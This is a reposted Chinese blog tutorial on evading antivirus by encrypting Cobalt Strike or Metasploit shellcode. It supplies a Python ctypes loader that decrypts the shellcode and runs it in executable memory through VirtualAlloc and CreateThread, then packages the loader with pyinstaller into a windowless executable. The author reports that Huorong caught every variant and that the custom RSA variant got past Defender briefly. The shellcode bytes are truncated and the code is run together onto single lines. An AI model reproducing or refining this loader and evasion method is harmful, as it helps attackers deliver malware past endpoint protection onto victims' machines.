您的位置:首页 > 汽车 > 新车 > shellcode加密免杀

shellcode加密免杀

2024/10/20 9:29:10 来源:https://blog.csdn.net/longwanlian/article/details/140889657  浏览:    关键词:shellcode加密免杀

通过加密shellcode方式过安全软件拦截

先说结论,笔者没成功

  • shellcode:

    Shellcode 是一段用于在目标系统上执行特定操作的机器码。它通常被用于利用软件漏洞,以获取对目标系统的控制权或执行特定的恶意行为。 Shellcode 可以执行诸如创建进程、提升权限、下载和执行其他恶意软件等操作。编写有效的 Shellcode 需要对目标系统的架构、内存布局和操作系统的特性有深入的了解。 在安全领域,研究人员和攻击者都会涉及到 Shellcode 的相关知识,前者用于发现和防范漏洞利用,后者则用于实施攻击。#通常是字节数组
    

    这里可以用cs或者msf等工具生成类似的shellcode用于去目标机器执行

  • 加密免杀:

    没做如何处理的shellcode特征码容易被杀毒软件监测,而加密免杀则是提前用加密算法对shellcode进行一次加密,再执行代码中则将加密后的shellcode进行解密,再执行。由于shellcode是加密后的,因此不容易被杀软本身所监测
    
  • 实验复现

    环境:宿主机Windows11 ,pycharm,cs,VMware搭建的windows10 2019未更新defender

    1. 使用cs生成的shellcode

    1. 对shellcode进行加密

      /* length: 893 bytes */
      unsigned char buf[] = "\xwc\x49\...\x85\xad";//这是不全的,实验复现时自己用工具生成
      

      加密算法:base64,AES,自定义

      def encrypt(public_key, plaintext):e, n = public_keycipher = [pow(byte, e, n) for byte in plaintext]return (cipher)def decrypt(private_key, ciphertext):d, n = private_keyplain = [pow(byte, d, n) for byte in ciphertext]return bytes(plain)# 固定的公钥和私钥
      public_key = (65537, 3233)  # e 和 n
      private_key = (2753, 3233)  # d 和 n
      message = b"\xwc\x49\...\x85\xad"# print("原始消息:", message)encrypted_msg = encrypt(public_key, message)
      print("加密后的消息:", encrypted_msg)
      
      假设加密后的结果为:b"adadaawda"
      

      放进执行器中

      def decrypt(private_key, ciphertext):d, n = private_keyplain = [pow(byte, d, n) for byte in ciphertext]return bytes(plain)def set_shellcode(buf):# 加载shellcodeVirtualAlloc = ctypes.windll.kernel32.VirtualAllocRtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemoryCreateThread = ctypes.windll.kernel32.CreateThreadWaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObjectshellcode = bytearray(buf)VirtualAlloc.restype = ctypes.c_void_pp = VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), 0x3000, 0x00000040)buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)RtlMoveMemory(ctypes.c_void_p(p), buf, ctypes.c_int(len(shellcode)))h = CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(p), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))  # 执行创建线程WaitForSingleObject(ctypes.c_int(h), ctypes.c_int(-1))def main():encrypt_buf = b"adadaawda"buf = decrypt(private_key, encrypt_buf)set_shellcode(buf)
      
      #使用 pyinstaller生成exe文件
      pip install pyinstaller
      pyinstaller -w --onefile 执行器.py #-w生成的exe不会产生控制台,--onefile只生成一个文件
      
    2. 直接丢入虚拟机中

      结果:尝试的base64,aes,自定义rsa算法均没绕过火绒,(360未测试),自定义rsa算法绕过defender,但运行后不久被杀
      

 ```结果:尝试的base64,aes,自定义rsa算法均没绕过火绒,(360未测试),自定义rsa算法绕过defender,但运行后不久被杀```

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com